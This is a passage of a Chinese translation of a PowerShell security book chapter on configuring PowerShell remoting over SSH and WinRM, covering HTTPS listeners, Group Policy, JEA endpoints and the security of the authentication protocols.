当用户使用此私钥进行身份验证时,服务器可以使用其公钥验证用户的身份。公钥只能用于验证私钥的真实性或加密只有私钥可以加密的数据。

使用公钥认证进行远程访问不仅能防止暴力破解和字典攻击等密码攻击的风险,还能在服务器遭到攻破时提供额外的安全层。在这种情况下,只有公钥可以被提取,而私钥则保持安全。由于仅有公钥不足以进行认证,因此该方法提供的安全性优于使用用户名和密码,因为如果服务器被攻破,密码会被提取并重复使用。

你可以在 https://www.ssh.com/ssh/keygen/ 学习如何使用 ssh-keygen 工具生成密钥对。

如果你对公钥认证的工作原理感兴趣,可以在官方的 SSH 网站上了解更多:www.ssh.com/ssh/public-key-authentication

当然,两个认证机制可以同时配置,但如果你使用 PubkeyAuthentication 并且没有其他用户使用用户名和密码连接,你应该仅使用 PubkeyAuthentication

PasswordAuthentication no
PubkeyAuthentication yes

如果你想了解更多关于 sshd 配置文件的不同选项,我强烈建议你查看 man** **pagesmanpages.debian.org/jessie/openssh-server/sshd_config.5.en.html

Man 页面

Man 代表 manual。Man 页面用于获取有关 Linux/UNIX 命令或配置文件的更多信息,可以将其与 PowerShell 中的帮助系统进行比较。

重启 ssh 服务:

> /etc/init.d/ssh restart

更新后的配置会加载到内存中以激活更改。

PowerShell 远程管理 macOS

要通过 SSH 启用 PSRemoting 以管理 macOS 系统,步骤与在 Linux 系统上启用 PSRemoting 相似:最大的不同之处在于配置文件位于不同的位置。

首先,你需要在想要远程管理的 macOS 系统上安装 PowerShell Core:docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-macos

编辑 ssh 配置:

> vi /private/etc/ssh/sshd_config

为 PowerShell 创建子系统条目:

Subsystem powershell /usr/local/bin/pwsh -sshs -NoLogo

然后,定义你希望为此机器配置的认证类型:

  • 用户名和密码:

    PasswordAuthentication yes
    
  • 公钥认证:

    PubkeyAuthentication yes
    

若要了解更多关于可以在 sshd 配置中配置的选项,请查看我们之前讨论的 PowerShell 远程管理 Linux 部分。

重启 ssh 服务以加载新配置:

> sudo launchctl stop com.openssh.sshd
> sudo launchctl start com.openssh.sshd

服务将重启,新的配置将生效。

通过 SSH 在 Windows 上进行 PowerShell 远程管理

当然,也可以通过 SSH 管理 Windows 系统,但在本书中,我将使用通过 WinRM 的 PSRemoting 作为所有示例的方式,因为这是 Windows 系统上的默认设置。

然而,如果你想通过 SSH 在 Windows 系统上启用 PSRemoting,请确保安装了 OpenSSH,并按照如何在 Windows 上通过 SSH 设置 PSRemoting 的说明操作:

你知道吗?

通过 SSH 使用 PSRemoting 不支持远程端点配置,也不支持 Just Enough** **Administration** (JEA**)。

启用 PowerShell 远程管理

有多种方法可以为你的系统启用 PSRemoting。如果你只在实验室里操作几台机器,你可能想手动启用它。但一旦你希望在一个大型环境中启用 PSRemoting,你可能希望集中启用并配置 PSRemoting。在本节中,我们将探讨这两种方法。以下表格提供了每种方法执行的配置操作概览:

表 3.2 – 启用 PSRemoting – 不同方法

表 3.2 – 启用 PSRemoting – 不同方法

请注意,Enable-PSRemoting 方法是手动配置的一个子部分;要配置 HTTP 和 HTTPS 监听器,必须采取额外的步骤。我们来探讨一下手动配置 PSRemoting 所需的内容,这在测试场景中可能会很有用。

手动启用 PowerShell 远程管理

如果你想在单台机器上启用 PSRemoting,可以通过在提升权限的命令行界面上使用 Enable-PSRemoting 命令手动完成:

> Enable-PSRemoting
WinRM has been updated to receive requests.
WinRM service type changed successfully.
WinRM service started.
WinRM has been updated for remote management.
WinRM firewall exception enabled.
Configured LocalAccountTokenFilterPolicy to grant administrative rights remotely to local users.

在这个例子中,命令成功执行,因此 PSRemoting 在这台机器上被启用。

如果你想知道 Enable-PSRemotingwinrm quickconfig 之间的区别,事实上,技术上并没有太大区别。Enable-PSRemoting 已经包含了 winrm quickconfig 执行的所有操作,但还增加了特定于 Windows PowerShell 的环境更改。因此,简而言之,运行 Enable-PSRemoting 就足够了,你可以跳过运行 winrm quickconfig

Set-WSManQuickConfig 错误信息

根据你的网络配置,如果你尝试手动启用 PSRemoting,可能会显示错误信息:

WinRM firewall exception will not work since one of the network connection types on this machine is set to Public. Change the network connection type to either Domain or Private and try again.

该错误信息是由 Set-WSManQuickConfig 命令生成的,该命令在启用 PSRemoting 过程中被调用。

如果某个网络连接设置为公用网络,将显示此消息,因为默认情况下,PSRemoting 不允许在定义为公用网络的网络上使用:

> Get-NetConnectionProfile
Name             : Network 1
InterfaceAlias   : Ethernet
InterfaceIndex   : 4
NetworkCategory  : Public
IPv4Connectivity : Internet
IPv6Connectivity : NoTraffic

为了避免此错误,有两个选项:

  • 将网络配置文件设置为私有网络。

  • 强制执行 Enable-PSRemoting,以便跳过网络配置文件检查。

如果您确定网络配置文件不是公共网络,而是您信任的网络,可以将其配置为私有网络:

> Set-NetConnectionProfile -NetworkCategory Private

如果您不想将网络配置为受信任的私有网络,可以通过添加-****SkipNetworkProfileCheck参数来强制跳过网络配置文件检查:

> Enable-PSRemoting -SkipNetworkProfileCheck

在连接到公共网络连接的计算机上启用 PSRemoting 会使您的计算机面临重大风险,所以要小心。

检查您的 WinRM 配置

启用 PSRemoting 和 WinRM 后,您可能希望检查当前的 WinRM 配置。您可以使用winrm** **get winrm/config来实现这一点:

图 3.2 - 验证本地 WinRM 配置

图 3.2 - 验证本地 WinRM 配置

您可以在显示的输出中找到所有配置的选项。winrm get winrm/config命令提供了 WinRM 配置设置的摘要。

要更改本地 WinRM 配置,可以使用set选项:

> winrm set winrm/config/service '@{AllowUnencrypted="false"}'

或者,您可以使用wsman:\ PowerShell 驱动器访问和修改配置中的特定项。使用wsman:\提供程序允许您以更直观和类似 cmdlet 的方式访问和修改 WinRM 配置的特定项,并带有内置的帮助和文档。

要更改本地 WinRM 配置,您可以使用Set-Item cmdlet 与wsman:\提供程序访问和修改 WinRM 配置项。例如,要禁用未加密流量的使用,可以运行以下命令:

> Set-Item wsman:\localhost\Service\AllowUnencrypted -Value $false

在此示例中,我们正在配置 WinRM 服务允许未加密的连接。您可以使用类似的语法来配置其他 WinRM 选项 - 只需确保提供设置树中的整个路径,以及选项和值。

受信任的主机

如果您连接到未加入域的计算机,这可能是您手动配置的原因,那么 Kerberos 身份验证不是一个选项,应该使用 NTLM 协议进行身份验证。

在这种情况下,您需要在本地设备上的WS-Man中将远程机器配置为受信任的主机;否则,连接将失败。

要为远程主机配置TrustedHosts,可以使用Set-Item cmdlet,以及wsman:\localhost\client\TrustedHosts路径。默认情况下,此值为空,因此您需要添加远程主机的 IP 地址或域名。要添加新值而不替换现有值,请使用-Concatenate开关,如下所示:

> Set-Item wsman:\localhost\client\TrustedHosts -Value 172.29.0.12 -Concatenate -Force

这将将指定的 IP 地址附加到现有的TrustedHosts列表中。

要验证您的更改是否已应用,可以使用Get-Item cmdlet 显示当前的TrustedHosts配置:

> Get-Item wsman:\localhost\client\TrustedHosts
   WSManConfig: Microsoft.WSMan.Management\WSMan::localhost\Client
Type            Name             SourceOfValue   Value
----            ----             -------------   -----
System.String   TrustedHosts                     172.29.0.12

前面的示例表明,具有 IP 地址172.29.0.12的主机已在本地机器上配置为受信任的主机。

审核TrustedHosts列表以检测任何未经授权的更改也是一种好做法。这有助于检测系统上的篡改尝试。

通过 HTTPS 连接

可选地,你还可以配置一个证书来加密HTTPS上的流量。为了确保 PSRemoting 的安全,建议配置一个证书来加密 HTTPS 流量,特别是在 Kerberos 不可用于服务器身份验证的情况下。尽管 PSRemoting 流量默认是加密的,但加密可以被移除,且可以轻松强制执行基本认证(参见PowerShell 远程认证与安全性注意事项部分)。配置证书为你的环境添加了额外的安全层。

因此,为了提供额外的安全性,发布证书并通过 SSL 启用WinRM是有意义的。

如果你没有从有效的证书颁发机构CA)购买公开签名的 SSL 证书,你可以创建一个自签名证书来开始使用。然而,如果你是在工作组远程访问中使用它,你也可以使用内部 CA。这样可以提供额外的安全性和信任,因为你有一个组织内部的受信任源来签署证书。

本节仅涵盖如何发布和配置自签名证书。因此,如果你使用的是公开签名证书或内部 CA,请确保调整步骤。

首先,让我们获取一个自签名证书!如果你使用的是 Windows Server 2012 及以上版本,这一步非常简单 —— 你可以利用New-SelfSignedCertificate cmdlet:

> $Cert = New-SelfSignedCertificate -CertstoreLocation Cert:\LocalMachine\My -DnsName "PSSec-PC01"
> Export-Certificate -Cert $Cert -FilePath C:\tmp\cert

确保通过-DnsName参数提供的值与主机名匹配,并且在你的 DNS 服务器中存在匹配的 DNS 记录。

添加 HTTPS 监听器:

> New-Item -Path WSMan:\LocalHost\Listener -Transport HTTPS -Address * -CertificateThumbPrint $Cert.Thumbprint –Force

最后,确保为防火墙添加例外。WinRM 通过 HTTPS 的默认端口是5986

> New-NetFirewallRule -DisplayName "Windows Remote Management (HTTPS-In)" -Name "Windows Remote Management (HTTPS-In)" -Profile Any -LocalPort 5986 -Protocol TCP

为了澄清,重要的是要注意,使用-Profile Any选项会将 WinRM 开放到公共或未识别的网络。如果你不在测试环境中,请确保使用适当的配置文件选项,如DomainPrivatePublic

如果你希望确保仅使用 HTTPS,则删除 WinRM 的 HTTP 监听器:

> Get-ChildItem WSMan:\Localhost\listener | Where -Property Keys -eq "Transport=HTTP" | Remove-Item -Recurse

此外,你可能需要检查并删除任何已配置的 HTTP 流量的防火墙例外。如果你之前没有配置任何例外,则此步骤不必要。

在某些情况下,你可能希望将 WinRM 监听器移动到不同的端口。如果你的防火墙设置不允许端口5986,或者你想出于安全原因使用非标准端口,这将是有用的。要将 WinRM 监听器移动到不同的端口,请使用Set-Item cmdlet:

> Set-Item WSMan:\Localhost\listener\<ListenerName>\port -Value <PortNumber>

<ListenerName>替换为你想要编辑的监听器名称,并将<PortNumber>替换为你想要配置的端口号。

接下来,我们将导入证书。然而,在此之前,了解一些关键点非常重要:通过 New-SelfSignedCertificate 等工具生成的证书已经内置了使用限制,确保它们仅用于客户端和服务器认证。如果您使用的是通过其他工具生成的证书(例如,内部 PKI),请确保它也有这些使用限制。此外,确保根证书得到了妥善保护,因为攻击者可以利用它伪造受信任网站的 SSL 证书。

一旦您拥有适当的证书,将其复制到您希望从中连接远程计算机的计算机上的安全位置(例如,在我们的示例中是 C:\tmp\cert),然后将其导入本地证书存储区:

> Import-Certificate -Filepath "C:\tmp\cert" -CertStoreLocation "Cert:\LocalMachine\Root"

指定您想用来登录并进入会话的凭据。-UseSSL 参数表示您的连接将使用 SSL 进行加密:

> $cred = Get-Credential
> Enter-PSSession -ComputerName PSSec-PC01 -UseSSL -Credential $cred

当然,您仍然需要输入凭据才能远程登录计算机。证书仅确保远程计算机的真实性,并帮助建立加密连接。

通过组策略配置 PowerShell 远程管理

在处理多台服务器时,您可能不希望在每台计算机上手动启用 PSRemoting,因此组策略是您的首选工具。

通过组策略,您可以使用一个 组策略对象(GPO) 配置多台计算机。

要开始,创建一个新的 GPO:打开 组策略管理,右键点击您希望创建新 GPO 的 组织单位(OU),然后选择 在此域中创建 GPO,并在此处链接

GPO 仅仅是一个配置工具——它不会启动服务。因此,您仍然需要找到一种方法来重新启动所有已配置的服务器或在所有服务器上启动 WinRM 服务。

如果您希望启用远程 PSRemoting,Lee Holmes 编写了一个非常实用的脚本,该脚本利用 WMI 连接(大多数系统都支持):www.powershellcookbook.com/recipe/SQOK/program-remotely-enable-powershell-remoting

允许 WinRM

在新创建的 GPO 中,导航到 计算机配置 | 策略 | 管理模板 | Windows 组件 | Windows 远程管理 | WinRM 服务,并将 允许通过 WinRM 进行远程服务器管理 策略设置为 启用

在此策略中,您可以定义 IPv4 和 IPv6 过滤器。如果您不使用某种协议(例如,IPv6),则可以将其留空,以防止用户通过该协议连接到 WinRM。

要允许连接,您可以使用通配符字符 *、IP 地址或 IP 范围。

在与客户合作或在我的演示实验室中,我发现发生 WinRM 无法工作的错误时,最常见的原因是配置此设置时使用了 IP 或 IP 范围。

因此,时至今日,我只在与防火墙 IP 限制结合使用时,才使用通配符(*****)来保护我的设置。我们将在本节稍后配置防火墙 IP 限制(见创建防火墙规则):

图 3.3 – 配置允许通过 WinRM 进行远程服务器管理

图 3.3 – 配置允许通过 WinRM 进行远程服务器管理

注意!

仅在您希望通过防火墙规则限制允许远程 IP 连接时,才使用通配符(*****)配置。

配置 WinRM 服务为自动启动

要配置 WinRM 服务使其自动启动,请按以下步骤操作:

  1. 使用相同的 GPO,并导航到计算机配置 | 策略 | Windows 设置 | 安全设置 | 系统服务

  2. 选择并配置Windows 远程管理(WS 管理)设置。

  3. 将打开一个新窗口。勾选定义此策略设置选项,并将服务启动模式设置为自动

  4. 通过点击确定按钮确认您的配置:

图 3.4 – 配置 Windows 远程管理服务,使其自动启动

图 3.4 – 配置 Windows 远程管理服务,使其自动启动

注意

此设置仅配置服务为自动启动,通常在计算机启动时发生。它不会为您启动服务,因此请确保重新启动计算机(或手动启动服务),以便 WinRM 服务自动启动。

创建防火墙规则

要配置防火墙设置,请按照以下步骤操作:

  1. 导航到计算机配置 | 策略 | Windows 设置 | 安全设置 | Windows Defender 防火墙(高级安全性) | Windows Defender 防火墙(高级安全性) | 入站规则

  2. 使用向导创建一个新的入站规则。

  3. 勾选预定义选项,并选择Windows 远程管理

图 3.5 – 创建预定义的 Windows 远程管理防火墙规则

图 3.5 – 创建预定义的 Windows 远程管理防火墙规则

  1. 点击下一步,并通过取消选择下图中显示的选项来移除公共防火墙配置文件:

图 3.6 – 取消选择公共网络配置文件

图 3.6 – 取消选择公共网络配置文件

  1. 最后,选择允许连接,然后点击完成按钮确认配置:

图 3.7 – 允许连接

图 3.7 – 允许连接

新规则将被创建,并显示在您的 GPO 中:

Figure 3.8 – 显示新的入站防火墙规则

图 3.8 – 显示新的入站防火墙规则

  1. 在退出 GPO 配置之前,确保通过双击重新打开新创建的防火墙规则。将打开Windows 远程管理(HTTP-In)属性窗口。

  2. 可选:如果您的计算机位于同一个域中,请导航到Advanced选项卡,并取消选择Private配置文件,以确保仅允许使用 WinRM 进行远程连接在Domain网络配置文件中:

Figure 3.9 – 仅允许在域网络配置文件中使用 WinRM

图 3.9 – 仅允许在域网络配置文件中使用 WinRM

  1. 然后,导航到Scope选项卡,并添加允许从中远程访问计算机的所有远程 IP 地址。例如,如果您的网络上有一个管理子网,可以将该子网中的 IP 地址添加到列表中:

Figure 3.10 – 配置允许连接的远程 IP 地址

图 3.10 – 配置允许连接的远程 IP 地址

在最佳情况下,只允许一个经过加固和安全管理的系统通过 PSRemoting 管理系统。

使用清洁的源原则构建管理系统,并使用推荐的特权访问模型进行访问:

PowerShell 端点(会话配置)

在本章中,您可能已经多次读到端点一词。

如果我们谈论端点,我们不是在谈论一个计算机:PSRemoting 设计用于在计算机上使用多个端点。

但是端点到底是什么?

当我们谈论 PowerShell 端点时,每个端点都是一个会话配置,您可以配置为提供某些服务或限制某些服务。

因此,每次运行Invoke-Command或进入 PowerShell 会话时,我们都是在连接到一个端点(也称为远程会话配置)。

如果没有设置限制,则提供更少的 cmdlet、函数和功能的会话称为受限制的端点

在启用 PSRemoting 之前,计算机上将没有配置任何端点。

您可以通过运行Get-PSSessionConfiguration命令查看所有可用的会话配置。

Figure 3.11 – 当未启用 PSRemoting 时不显示端点

图 3.11 – 当未启用 PSRemoting 时,未显示任何端点

当计算机上未启用 PSRemoting 时,不会显示任何端点。这是因为负责 PSRemoting 的 WinRM 服务默认未启动。然而,一旦启动 WinRM 服务,端点已经配置好并准备使用,但在启用 PSRemoting 之前不会暴露,也无法连接。

使用 Enable-PSRemoting 启用 PSRemoting,正如我们在上一节中所做的那样,会创建所有默认的会话配置,这些配置对于通过 PSRemoting 连接到此端点是必要的:

图 3.12 – 启用 PSRemoting 后,我们可以看到所有预填充的端点

图 3.12 – 启用 PSRemoting 后,我们可以看到所有预填充的端点

通常,在 Windows PowerShell 3.0 及以上版本中,客户端系统上会有三个默认预配置的端点:

)

服务器系统中,通常会有一个预定义的第四会话配置:

每台计算机会显示不同的默认端点。在上面的示例中,我在一台 Windows 10 客户端上运行命令,这将显示比 Windows Server 2019 更少的端点。

连接到指定的端点

默认情况下,microsoft.powershell 端点用于所有 PSRemoting 连接。但如果您希望连接到另一个指定的端点,您可以使用 -ConfigurationName 参数来实现:

> Enter-PSSession -ComputerName PSSec-PC01 -ConfigurationName 'microsoft.powershell32'

指定的配置可以是另一个默认端点的名称,也可以是自定义端点。

创建自定义端点——JEA 概览

创建自定义端点(也称为仅足够的管理JEA)允许您为委派的管理定义一个受限的管理环境。通过 JEA,您可以定义一组批准的命令和参数,允许特定用户在特定计算机上执行。这使您能够为用户提供执行工作职责所需的最低权限,而不授予他们完全的管理权限。这是保护远程连接的好方法:

  • 您可以限制会话,只运行预定义的命令。

  • 您可以启用记录功能,以便记录在此会话中执行的每个命令。

  • 你可以指定一个安全描述符(SDDL)来确定谁可以连接,谁不能连接。

  • 你可以配置脚本和模块,这些脚本和模块将在与此端点建立连接后自动加载。

  • 你甚至可以指定使用另一个账户来在端点上运行此会话中的命令。

要创建和激活端点,需要遵循两个步骤:

  1. 创建会话配置文件

  2. 将会话注册为新的端点

创建会话配置文件

使用New-PSSessionConfigurationFile,你可以创建一个空的骨架会话配置文件。你需要指定配置文件将保存的路径,因此-Path参数是必需的。会话配置文件以.pssc文件扩展名结尾,所以请确保文件命名正确:

> New-PSSessionConfigurationFile -Path <Path:\To\Your\SessionConfigurationFile.pssc>

请查看官方文档以获取更多信息:docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/new-pssessionconfigurationfile

你可以生成一个空的会话配置文件,然后稍后使用编辑器填写它,或者你也可以使用New-PSSessionConfigurationFile参数直接生成包含所有已定义配置选项的文件:

图 3.13 – New-PSSessionConfigurationFile 参数

图 3.13 – New-PSSessionConfigurationFile 参数

对于这个示例,我们将为RestrictedRemoteServer会话创建一个会话配置文件:

> New-PSSessionConfigurationFile -SessionType RestrictedRemoteServer -Path .\PSSessionConfig.pssc

通过使用-SessionType RestrictedRemoteServer,只有最重要的命令会被导入到此会话中,如Exit-PSSessionGet-CommandGet-FormatDataGet-HelpMeasure-ObjectOut-DefaultSelect-Object。如果你希望在此会话中允许其他命令,它们需要在角色能力文件中进行配置,我们将在第十章中详细讨论,语言模式和足够的 管理(JEA)

将会话注册为新的端点

创建会话配置文件后,你必须通过使用Register-PSSessionConfiguration命令将其注册为端点。

使用必需的-Name参数时,请确保只指定会话配置文件的名称,不包括文件扩展名:

> Register-PSSessionConfiguration -Name PSSessionConfig
WARNING: Register-PSSessionConfiguration may need to restart the WinRM service if a configuration using this name has recently been unregistered, certain system data structures may still be cached. In that case, a restart of WinRM may be required.
All WinRM sessions connected to Windows PowerShell session configurations, such as Microsoft.PowerShell and session configurations that are created with the Register-PSSessionConfiguration cmdlet, are disconnected.
   WSManConfig: Microsoft.WSMan.Management\WSMan::localhost\Plugin
Type            Keys                                Name
----            ----                                ----
Container       {Name=PSSessionConfig}              PSSessionConfig

会话配置将被注册,并且一个新的端点将被创建。有时,在注册端点后,可能需要重启 WinRM 服务:

> Get-PSSessionConfiguration -Name PSSessionConfig
Name          : PSSessionConfig
PSVersion     : 5.1
StartupScript :
RunAsUser     :
Permission    : NT AUTHORITY\INTERACTIVE AccessAllowed, BUILTIN\Administrators AccessAllowed, BUILTIN\Remote Management Users AccessAllowed

使用Get-PSSessionConfiguration,你可以验证端点是否已创建。如果你使用-Name参数指定端点名称,如前面的示例所示,你将只获得与指定端点相关的信息。

我们将在第十章《语言模式与恰到好处的管理(JEA)》中深入探讨可能的会话配置和注册参数。

PowerShell 远程认证和安全性注意事项

默认情况下,PSRemoting 流量是加密的——无论连接是通过 HTTP 还是 HTTPS 发起。所使用的底层协议是 WS-Man,它是解耦的,可以更广泛地使用。PSRemoting 使用认证协议,如 Kerberos 或 NTLM,来验证会话流量,SSL/TLS 用于加密会话流量,无论连接是通过 HTTP 还是 HTTPS 发起的。

但与其他计算机类似,PSRemoting 的安全性取决于已配置的计算机。如果你不保护管理员的凭证,攻击者可以提取并利用它们对付你。

因此,你也应该努力加强基础设施的安全性,并保护你最重要的身份。你将在第六章《Active Directory – 攻击与缓解》中了解更多关于 Active Directory 安全性和凭证管理的内容,并在第三部分《保护 PowerShell – 有效的缓解措施详细讲解中了解更多你可以采取的缓解措施。

了解启用 PSRemoting 并不会自动确保环境的安全非常重要。与任何远程管理技术一样,关键在于加固你的系统并采取适当的安全措施,以防范潜在的威胁。这不仅适用于 PSRemoting,还适用于其他远程管理技术,如 RDP。通过投入时间和精力来保护你的系统和环境,你可以降低潜在风险,更好地保护组织的资产。

首先,让我们看看在 PSRemoting 中如何使用认证。

认证

默认情况下,WinRM 使用Kerberos进行认证,若 Kerberos 认证不可用,则回退使用NTLM

在域中使用时,Kerberos 是认证的标准。要在 PSRemoting 中使用 Kerberos 认证,确保客户端和服务器计算机连接到同一域,并且 DNS 名称已正确配置且可达。还需要注意的是,从 Kerberos 的角度来看,服务器必须在 Active Directory 中注册。

通常,你可以指定连接远程计算机时应该使用哪种协议:

> Enter-PSSession -ComputerName PSSEC-PC01 -Authentication Kerberos

当建立 PSRemoting 会话时,如果没有指定-Authentication参数,则使用默认值Default,该值等于Negotiate。这意味着客户端和服务器根据双方系统支持的认证协议协商使用最佳的认证协议。

通常情况下,Kerberos 是首选协议,但如果不可用或不被支持,系统将回退使用 NTLM。关于 Negotiate 的更多信息可以在微软文档中找到,详见 Win32 应用程序中的 Negotiate:learn.microsoft.com/en-us/windows/win32/secauthn/microsoft-negotiate

什么情况下会回退到 NTLM?

PSRemoting 设计时是为了与 Active Directory 配合使用,因此 Kerberos 是首选的身份验证协议。但在某些情况下,Kerberos 身份验证不可用,此时将使用 NTLM。

Kerberos

  • 计算机已加入相同的域,或者它们都位于相互信任的域内。

  • 客户端能够解析服务器的主机名或 IP 地址。

  • 服务器在 Active Directory 中注册了有效的 服务主体名称SPN)。该 SPN 与你连接的目标匹配。

NTLM

  • 常用于连接非域加入的工作站

  • 如果使用的是 IP 地址而不是 DNS 名称

要通过 Kerberos 连接到 PSSec-PC01 计算机,我们可以使用以下命令:

> Enter-PSSession -ComputerName PSSec-PC01

如果没有明确指定凭据,并且当前用户有权限访问远程计算机,同时远程计算机已配置为接受 Kerberos 身份验证,则连接会自动建立,无需提供任何明确的凭据。这是使用 Kerberos 身份验证的一个优势,因为身份验证过程对于用户来说是隐式和无缝的。

如果当前用户没有权限访问远程计算机,我们还可以明确指定应使用的凭据,方法是使用 -Credential 参数。为了简化测试,我们使用 Get-Credential 来提示输入凭据,并将其存储在 $cred 安全字符串中:

$cred = Get-Credential -Credential "PSSEC\Administrator"

然后,我们通过 Kerberos 进行连接:

Enter-PSSession -ComputerName PSSEC-PC01 -Credential $cred

如果你使用 Wireshark 捕获流量,你会看到 WinRM 在其协议中将 Kerberos 包含为 content-type,这表明 Kerberos 被用于身份验证。虽然实际的 Kerberos 流量可能不会在 HTTP 数据包中直接显示,但通过检查 WinRM 流量中的报文头,仍然可以确认使用了 Kerberos 进行身份验证。此外,你还可以看到整个 HTTP 会话是加密的,提供了额外的安全保障:

图 3.14 – 使用 Wireshark 捕获的 WinRM HTTP 流量

图 3.14 – 使用 Wireshark 捕获的 WinRM HTTP 流量

如你所见,已经通过端口 5985(WinRM over HTTP)与 PSSec-PC01 建立了会话,使用的是 PowerShell 版本 5.1.17763.1490。请求是通过 WS-Man 发送的。

一旦初始身份验证过程完成,WinRM 会继续加密所有后续通信,以确保客户端和服务器之间交换的数据的安全性。当通过 HTTPS 建立连接时,TLS 协议将用于协商用于数据传输的加密方式。如果是 HTTP 连接,则用于消息级加密的加密方式由初始身份验证协议决定。

各种身份验证协议提供的加密级别如下:

  • 基本身份验证:没有加密。

  • NTLM 身份验证:使用 RC4 算法和 128 位密钥。

  • Kerberos 身份验证:TGS 票据中的 etype 决定了加密方式。在现代系统中,这通常是 AES-256。

  • CredSSP 身份验证:将在握手过程中协商的 TLS 密码套件被使用。

请注意,尽管使用的是 HTTP 协议作为连接协议,但内容是根据初始身份验证协议使用适当的加密机制进行加密的。关于 PSRemoting 的一个常见误解是,使用 WinRM 通过 HTTP 连接时没有加密。然而,正如你在下图所看到的,事实并非如此:

图 3.15 – 使用 Wireshark 捕获的 Kerberos TCP 流

图 3.15 – 使用 Wireshark 捕获的 Kerberos TCP 流

如果 DNS 名称无法正常工作,并且两个主机不在同一域内,则 NTLM 将作为回退选项使用。

如果你正在连接同一域内的远程计算机,并且 DNS 名称正常工作,当指定主机的 IP 地址而非主机名时,仍然会使用 NTLM 进行连接:

Enter-PSSession -ComputerName 172.29.0.12 -Credential $cred

再次使用 Wireshark 捕获流量显示,NTLM 被用于身份验证,并且流量也被加密了:

图 3.16 – 使用 Wireshark 捕获的 NTLM 流量

图 3.16 – 使用 Wireshark 捕获的 NTLM 流量

类似于使用 Kerberos 连接,你可以看到与主机 172.29.0.12 的连接是通过 HTTP(端口 5985)使用 WinRM 建立的。但这次,使用 NTLM 代替 Kerberos 来协商会话。使用 NTLM,你甚至可以捕获主机名、用户名、域名和挑战,这些信息用于身份验证。

深入查看 TCP 流时,可以明显看到即使使用 NTLM,通信也是加密的,如下图所示:

图 3.17 – 使用 Wireshark 捕获的 NTLM TCP 流

图 3.17 – 使用 Wireshark 捕获的 NTLM TCP 流

使用 NTLM 身份验证时,请注意,PSRemoting 仅在远程主机已添加到 TrustedHosts 列表中时才能正常工作。

使用 NTLM 身份验证时,了解受信主机列表的限制非常重要。虽然将远程主机添加到受信主机列表可以帮助你发现错误,但它并不是确保安全通信的可靠方法。这是因为 NTLM 无法保证你正在连接到预定的远程主机,这使得使用受信主机具有误导性。值得注意的是,NTLM 的主要弱点在于它无法验证远程主机的身份。因此,即使使用了受信主机,NTLM 连接也不应被视为更可信。

如果主机没有被指定为受信主机,并且没有明确提供凭据(就像我们在使用-Credential $cred时做的那样),则建立远程会话或远程运行命令将失败,并显示错误信息:

> Enter-PSSession -ComputerName 172.29.0.10
Enter-PSSession : Connecting to remote server 172.29.0.10 failed with the following error message : The WinRM client
cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not
joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts
configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not
be authenticated. You can get more information about that by running the following command: winrm help config. For
more information, see the about_Remote_Troubleshooting Help topic.
At line:1 char:1
+ Enter-PSSession -ComputerName 172.29.0.10
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidArgument: (172.29.0.10:String) [Enter-PSSession], PSRemotingTransportException
    + FullyQualifiedErrorId : CreateRemoteRunspaceFailed

Kerberos 和 NTLM 并不是唯一的身份验证协议,但与其他协议相比,它们是最安全的。让我们看看还有哪些其他方法,并了解如何强制执行它们。

身份验证协议

当然,也可以通过指定-**身份验证**参数来配置应使用哪种身份验证方法。

身份验证协议

如果可以使用 Kerberos 身份验证,应该始终使用 Kerberos,因为该协议提供了大部分安全功能。

继续阅读第六章活动目录 – 攻击与缓解,了解更多关于身份验证的内容以及 Kerberos 和 NTLM 的工作原理。

以下是所有接受的-**身份验证**参数的值:

  • 默认:这是默认值。在这里,将使用协商

  • 基本:基本身份验证用于通过 HTTP 协议进行身份验证,但本身并不提供安全性——既不保护通过网络以明文传输的数据,也不保护凭据。然而,当与 TLS 配合使用时,这仍然是一种相对安全的机制,许多网站通常会使用它。

由于凭据仅使用 Base64 编码,编码可以很容易地被逆向解码,凭据也可以以明文形式提取出来。

如果凭据没有使用SSL**/**TLS加密,这种身份验证无法为提供的凭据提供机密性。

  • Credssp:使用CredSSP身份验证,PowerShell 会从客户端将用户凭据提供给远程服务器以进行身份验证。此模式在需要远程会话能够像你一样进行身份验证以便进行进一步的网络跳转时特别有用。在此身份验证之后,凭据以加密格式在客户端和服务器之间传递,以保持安全性。

当使用 CredSSP 身份验证机制时,PowerShell 将用户的完整凭据传递给远程服务器进行身份验证。这意味着,如果你连接到一个被攻破的机器,攻击者可以直接从内存中提取你的凭据。需要注意的是,这是 RDP 的默认身份验证机制,使得 PSRemoting 成为一个更安全的替代方案。

  • Digest:摘要认证是 Web 服务器可以使用的一种身份验证方法。在发送数据之前,用户名和密码会使用MD5加密算法进行哈希处理,并通过HTTP协议进行传输。在哈希处理之前,会添加一个 nonce 值以避免重放攻击。

与其他身份验证协议(例如基于密钥的身份验证)相比,它并不提供强大的身份验证,但它仍然比较弱的身份验证机制更强,应该作为弱基本认证的替代方案考虑。

  • Kerberos:这种身份验证方式使用 Kerberos 协议。Kerberos 是域认证的标准,并提供最高级别的安全性。

  • Negotiate:此选项允许客户端协商身份验证。当使用域账户时,身份验证将通过 Kerberos 进行;使用本地账户时,将回退到 NTLM。

  • NegotiateWithImplicitCredential:此选项使用当前用户的凭据进行身份验证(以当前用户身份运行)。

这些身份验证机制可以在所有 PSRemoting cmdlet 中使用。

它们也在AuthenticationMechanism** 枚举**中进行了指定,该枚举在微软文档中定义:https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.runspaces.authenticationmechanism。

需要注意的是,PowerShell 将一些身份验证机制视为潜在危险,并且如果你尝试使用它们,可能会显示错误消息。在这种情况下,你需要明确地覆盖这些错误,才能继续使用这些危险的身份验证机制。

基本认证安全考虑事项

如果在没有其他加密层的情况下使用,基本认证是不安全的。在本节中,我们将探讨一个非常好的例子,说明为什么你不应使用基本认证,或者如果必须使用基本认证时,为什么你应该始终加密你的通信,使用传输层安全性TLS)。

注意!

不要在生产环境中配置此设置,因为该配置非常不安全,仅用于测试目的。如果你使用此配置,你将会使自己处于危险之中!

如果你想配置测试环境以使用基本认证并允许未加密的流量,你需要配置你的 WinRM 设置,以允许基本认证和未加密流量。

